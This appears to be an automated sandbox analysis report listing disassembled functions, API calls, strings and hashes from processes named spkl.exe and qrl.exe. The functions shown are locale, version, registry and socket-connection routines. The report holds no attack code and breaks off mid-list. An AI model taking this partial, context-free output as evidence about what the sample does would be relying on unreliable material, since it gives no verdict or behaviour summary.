String ID:
API String ID: 3902855382-0
Opcode ID: 8878171e10d42bdd05b488e0c34d96022a5a427ef1523e4e1648701ea33d8c35
Instruction ID: e7a4cf3156e382069db32bdc45f3dbd6bfefa2e4cb622e950e157177fc3908dc
Opcode Fuzzy Hash: 8878171e10d42bdd05b488e0c34d96022a5a427ef1523e4e1648701ea33d8c35
Instruction Fuzzy Hash: 25118C3BE583806EE771EBA4A8C1B5A77BC9789744F480454E304CF945EA7C98C0C765

Function 03379F88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0337A14A,?,?,?,?,00000000,00000000,00000000,00000000), ref: 03379FB6

Strings

yyyy, xrefs: 0337A0A1
ggg, xrefs: 0337A094
eeee, xrefs: 0337A0BA

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: eeee$ggg$yyyy
API String ID: 635194068-1253427255
Opcode ID: c1d8792ee471e70a2e4f5c32b6af7780e28c9dd327650927479c3fdfa4d32b44
Instruction ID: 22854bba1c222b1306831297691b4be827914c61b52ab7495421b6c955aa57bb
Opcode Fuzzy Hash: c1d8792ee471e70a2e4f5c32b6af7780e28c9dd327650927479c3fdfa4d32b44
Instruction Fuzzy Hash: 3D41152DB143095BE731FA78CCD22BFB3AEEB45110F140965E592CBB44E63DDC0296A2

Function 00406A7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction ID: 07a1f38d2ea3c9b044fb4c0f13277ba6404eb61e471d4d96d04e3d4d2f3c9cdd
Opcode Fuzzy Hash: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction Fuzzy Hash: 6D315EB0A002609BDF21AF29848935636A4BB05324F17557BE90AF73C6D77CDCA4CB5E

Function 00406A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction ID: 13bf23e1329b6ed62b51f5b22f85bd001d496eff14c6d4ab5e25a17571e484f8
Opcode Fuzzy Hash: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction Fuzzy Hash: C1314FB0A002209BDF21AF29848935636A4BB05314F17557BE90AF72C6D77CDCA4CB5E

Function 033A05C8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 033A0652

Part of subcall function 033A0A84: GetVersionExA.KERNEL32(?,?,00000000,?,033A0615), ref: 033A0ADB

GetVersionExA.KERNEL32(0000009C), ref: 033A0621

Strings

System\CurrentControlSet\Control\ProductOptions, xrefs: 033A06D4
ProductType, xrefs: 033A06CF
WINNT, xrefs: 033A06E3

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: Version
String ID: ProductType$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-3392522142
Opcode ID: 5e0b81996ea706bdb19e522bb6b6c90bff14959c03bd2466cc12dbcf6377033b
Instruction ID: 8c0eeb30e5848f649421b0e7144be22de0a2e0baf6e5c5dc7088c83b96916c5f
Opcode Fuzzy Hash: 5e0b81996ea706bdb19e522bb6b6c90bff14959c03bd2466cc12dbcf6377033b
Instruction Fuzzy Hash: C8112538E48B489EEB2CD7BC8DD17AEB7ECDB4A304F5400EAE445C6592D73A8904CB11

Function 0337A1B4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0337A1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0337A1F5
GetModuleFileNameA.KERNEL32(033B84D4,?,00000105,?,?,00000105), ref: 0337A210
LoadStringA.USER32(00000000,03376500,?,00000100), ref: 0337A2A6

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 483a852d2001509b2a6ae9ccd444043649a42f3c9aa41d29b3cc337d093ac88f
Instruction ID: ad6fe33a4bda06648a2853d0c9cfe25bcaccda2dc9308b8134501df567a1a762
Opcode Fuzzy Hash: 483a852d2001509b2a6ae9ccd444043649a42f3c9aa41d29b3cc337d093ac88f
Instruction Fuzzy Hash: FA41E874A003589BDB71EB68CDC4BDEB7BCAB08201F4440E6A548EB351E7799F888F51

Function 0337A1B2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0337A1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0337A1F5
GetModuleFileNameA.KERNEL32(033B84D4,?,00000105,?,?,00000105), ref: 0337A210
LoadStringA.USER32(00000000,03376500,?,00000100), ref: 0337A2A6

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 6aabb69ed51c144c7a58f54840565b234125062da1a7f0dda690318ee7d4c927
Instruction ID: 153144930ea218475300b578cbed8aece62216873aab917f80f85ab41d15bd1c
Opcode Fuzzy Hash: 6aabb69ed51c144c7a58f54840565b234125062da1a7f0dda690318ee7d4c927
Instruction Fuzzy Hash: 5D41F774A003589BDB71EB68CDC4BDEB7ACAB08301F4440E5A648EB351E7799F888F51

Function 0040A498 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040A4A9
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040A50B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040A568
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040A59B

Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040A519), ref: 0040A46B
Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040A519), ref: 0040A488

Memory Dump Source

Source File: 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction ID: fc7280abbee8b3a4e0e2c491acc4ca4769cbef175c5e1049a2e5b08ff8261c60
Opcode Fuzzy Hash: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction Fuzzy Hash: B4319230A0021AABCF00EFA9CC94AAEB3B5FF04304F00417AE515F72D2D7789A44CB55

Function 0337CF80 Relevance: 6.1, APIs: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?), ref: 0337CFA6
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 0337CFD4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000003,?,?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019), ref: 0337D004
RegCloseKey.ADVAPI32(?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 0337D010

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction ID: 194036ebe4295a9aa520194a637074b08c1b8dfeb612d3217ed3ea4add6b7b3e
Opcode Fuzzy Hash: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction Fuzzy Hash: ED11A076E00218BFDB20DAA9CCC4EEFB7BCEF05250F044566F914EB240E7749A458B90

Function 03379ED8 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03379F6F,?,?,00000000), ref: 03379EF0
GetThreadLocale.KERNEL32(00000000,00000004,00000000,03379F6F,?,?,00000000), ref: 03379F20
GetThreadLocale.KERNEL32(00000000,00000003,Function_00008E24,00000000,00000000,00000004,00000000,03379F6F,?,?,00000000), ref: 03379F49
EnumCalendarInfoA.KERNEL32(Function_00008E60,00000000,00000000,00000003), ref: 03379F54

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: LocaleThread$CalendarEnumInfo
String ID:
API String ID: 1139405593-0
Opcode ID: 8b997451f4dfdba43b4502dac3d694b87402d834c5696eb5706a8a986956a1dc
Instruction ID: cc12b38f195e1d59b45a9c400f95331f2420cd71fa8a476d06fcde03219ee082
Opcode Fuzzy Hash: 8b997451f4dfdba43b4502dac3d694b87402d834c5696eb5706a8a986956a1dc
Instruction Fuzzy Hash: 1D01A239A04F0C6EE731F7758CA2F5E726CDB86624F500760F5149E6C1E77D9E018AA4

Function 033789A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,03378A7E), ref: 03378A26
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,03378A7E), ref: 03378A2C

Strings

yyyy, xrefs: 03378A01

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: c7b0923d753c5e6d2956a0c7642a2e77d551449ce29781cf8629b7e6d548cb23
Instruction ID: 829eedd97913929d730bb1f22edc4f5e39f99bbaf1ba2162fde178740375ae09
Opcode Fuzzy Hash: c7b0923d753c5e6d2956a0c7642a2e77d551449ce29781cf8629b7e6d548cb23
Instruction Fuzzy Hash: 4D21717CA00218AFDB21EF64C8C6AAEB3BCEF09710F5004A5E904DF751D6389E04DBA5

Function 033A0A84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000000,?,033A0615), ref: 033A0ADB

Strings

\SYSTEM\CurrentControlSet\Control\Windows\, xrefs: 033A0AF1
CSDVersion, xrefs: 033A0AEC

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003390000.00000040.00001000.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3390000_spkl.jbxd

Similarity

API ID: Version
String ID: CSDVersion$\SYSTEM\CurrentControlSet\Control\Windows\
API String ID: 1889659487-4130263263
Opcode ID: d7206fa02d1f1813a69e55f6b31a01112ad06297e2b1ccfd08bb9a5be5cd8af7
Instruction ID: 8afef538f64ff1831797a7d7a454e1d995db8befa861b7d19b90965047701b5f
Opcode Fuzzy Hash: d7206fa02d1f1813a69e55f6b31a01112ad06297e2b1ccfd08bb9a5be5cd8af7
Instruction Fuzzy Hash: 70110478F147588FEB28DB78CCD1B6EB7E9E749304F8040B5E10896282E7389D44CB14

Function 03372B68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 03372BD3

Strings

FPUMaskValue, xrefs: 03372BB4
SOFTWARE\Borland\Delphi\RTL, xrefs: 03372B80

Memory Dump Source

Source File: 00000038.00000002.2729832035.0000000003371000.00000040.00001000.00020000.00000000.sdmp, Offset: 03371000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_3371000_spkl.jbxd

Similarity

API ID: Close
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3535843008-4173385793
Opcode ID: 870b52c8df06b1240b70763be0b1bd21d13dd0140c512f88414ab4f5a5d75abc
Instruction ID: 3b3d71032ffdbdb32b512b22aee3591267f9c5a516f498202ca92685190a8818
Opcode Fuzzy Hash: 870b52c8df06b1240b70763be0b1bd21d13dd0140c512f88414ab4f5a5d75abc
Instruction Fuzzy Hash: 06017579944709BDD721EF90DC92BEE77ACEB05700F100561FA10E6581E7795610C754

Analysis Process: qrl.exePID: 6848, Parent PID: 7712COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.4%
Total number of Nodes:	864
Total number of Limit Nodes:	73

Executed Functions

Function 003752B0 Relevance: 68.9, APIs: 22, Strings: 17, Instructions: 616
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00375C20: memcpy.MSVCRT(?,?,00000080), ref: 00375C88

setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 00375377
setsockopt.WS2_32(?,0000FFFF,00000008,00000001,00000004), ref: 003755D2
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00375646
WSAGetLastError.WS2_32 ref: 00375654

Strings

host!, xrefs: 00375520
Immediate connect fail for %s: %s, xrefs: 00375A5C
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 0037565C
Local port: %hu, xrefs: 0037595C
bind failed with errno %d: %s, xrefs: 00375911
Bind to local port %hu failed, trying next, xrefs: 003758B5
Couldn't bind to '%s', xrefs: 0037584A
Name '%s' family %i resolved to '%s' family %i, xrefs: 003757D5
Failed to set SO_KEEPALIVE on fd %d, xrefs: 00375670
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00375423
if!, xrefs: 00375505
TCP_NODELAY set, xrefs: 00375385
Local Interface %s is ip %s using address family %i, xrefs: 00375711
Trying %s..., xrefs: 0037531D
getsockname() failed with errno %d: %s, xrefs: 003759C7
Could not set TCP_NODELAY: %s, xrefs: 00375593
Couldn't bind to interface '%s', xrefs: 003756D4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: setsockopt$ErrorIoctlLastmemcpy
String ID: Trying %s...$Bind to local port %hu failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$TCP_NODELAY set$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 1062783977-1182436171
Opcode ID: b1a30e9fc90c26f9e7a0a63c6bcbc0eec045d0371aa59b9ca445c973eccf7716
Instruction ID: a0ffe00ae925ab07883911f2df6546a83361794cfe7c9f4bba83c839b6523835
Opcode Fuzzy Hash: b1a30e9fc90c26f9e7a0a63c6bcbc0eec045d0371aa59b9ca445c973eccf7716
Instruction Fuzzy Hash: A622C1B2504301AFD7269B10DC46F6BB7E9AFC4304F15892DF88D9B291E779E904CB62

Function 0036119B Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 140
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00361223
__p__acmdln.MSVCRT ref: 0036124C
malloc.MSVCRT ref: 003612E2
strlen.MSVCRT ref: 0036131B
malloc.MSVCRT ref: 00361326
memcpy.MSVCRT ref: 0036133C
_cexit.MSVCRT ref: 003613A8
_amsg_exit.MSVCRT ref: 003613EA
_initterm.MSVCRT ref: 0036140C

Strings

!c(, xrefs: 0036135A
Px^, xrefs: 003611F2
4i(, xrefs: 00361217

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID: Px^$!c($4i(
API String ID: 738594520-1866912229
Opcode ID: 77838e6941a8b2d3a3145fc4f21f9c2432c1bfab807662211a7fd991b34b93af
Instruction ID: 684dd7f5f07858725f3e7f56722fdff7dec0796d0e618ab94a2c7154c312d416
Opcode Fuzzy Hash: 77838e6941a8b2d3a3145fc4f21f9c2432c1bfab807662211a7fd991b34b93af
Instruction Fuzzy Hash: 18519DB0A042918FCB15EF69E899359BBF1FF45304F158A2DE5848B325DB74D884CB92

Function 003748F0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

After %ldms connect time, move on!, xrefs: 00374A62
connect to %s port %ld failed: %s, xrefs: 00374CCB
Failed to connect to %s port %ld: %s, xrefs: 00374FBA
Connection failed, xrefs: 00374B5A
Connection time-out, xrefs: 003749BE

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-885759404
Opcode ID: 45c920700387406840e50581000305e25119094c923662db4270e7cb9a104e7b
Instruction ID: 258cef277a93002b67a99d2bc24501700715030a32b2a09b02663eb9e3c6abb9
Opcode Fuzzy Hash: 45c920700387406840e50581000305e25119094c923662db4270e7cb9a104e7b
Instruction Fuzzy Hash: 9302EF71504305DFDB339F24D840BAAB7E5BB85314F168628E9AC5B2A1E738FC45CB42

Function 0037B510 Relevance: 15.3, APIs: 10, Instructions: 287
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 0037B553
WSASetLastError.WS2_32(00002726), ref: 0037B618
select.WS2_32(?,00000000,00000000,?,?), ref: 0037B761
WSAGetLastError.WS2_32 ref: 0037B76C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLast$Sleepselect
String ID:
API String ID: 2806104629-0
Opcode ID: b15b63737b9b5bbb9f1678cbbda4bccb786b3ade0a18a2b43737e67b8359eb0e
Instruction ID: 06d981c223a417efd5248592f5c6bdbf172f106f8b485e772f8ca8fbdc1723b5
Opcode Fuzzy Hash: b15b63737b9b5bbb9f1678cbbda4bccb786b3ade0a18a2b43737e67b8359eb0e
Instruction Fuzzy Hash: 4C91D3716083458BD3369E2888847ABF2F9AFC8720F158A2DE5ADC3190E774DD458B92

Function 0037B890 Relevance: 12.4, APIs: 8, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 0037B8DD

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d583057320d55b74bf7b41a70521eb98dbedf886b74b22d9f1850539e01074d9
Instruction ID: c08691b7cddc1f32c7bc4e3c79c3ed9fbc135cad8812c793ac16e556c6c3f4df
Opcode Fuzzy Hash: d583057320d55b74bf7b41a70521eb98dbedf886b74b22d9f1850539e01074d9
Instruction Fuzzy Hash: DCC198706083458BC776AF28C88476BF7F9AF84714F15CA2DE99D97290E7389E44CB42

Function 00362850 Relevance: 87.9, APIs: 70, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0036287C
free.MSVCRT ref: 0036288E
free.MSVCRT ref: 003628A0
free.MSVCRT ref: 003628B2
free.MSVCRT ref: 003628C4
free.MSVCRT ref: 003628D6
free.MSVCRT ref: 003628E8
free.MSVCRT ref: 003628FA
free.MSVCRT ref: 0036290F
free.MSVCRT ref: 00362927
free.MSVCRT ref: 0036293F
free.MSVCRT ref: 00362957
free.MSVCRT ref: 0036296F
free.MSVCRT ref: 00362987
free.MSVCRT ref: 0036299F
free.MSVCRT ref: 003629B7
free.MSVCRT ref: 003629CF
free.MSVCRT ref: 003629E7
free.MSVCRT ref: 003629FF
free.MSVCRT ref: 00362A17
free.MSVCRT ref: 00362A2F
free.MSVCRT ref: 00362A47
free.MSVCRT ref: 00362A5F
free.MSVCRT ref: 00362A77
free.MSVCRT ref: 00362A8F
free.MSVCRT ref: 00362AA7
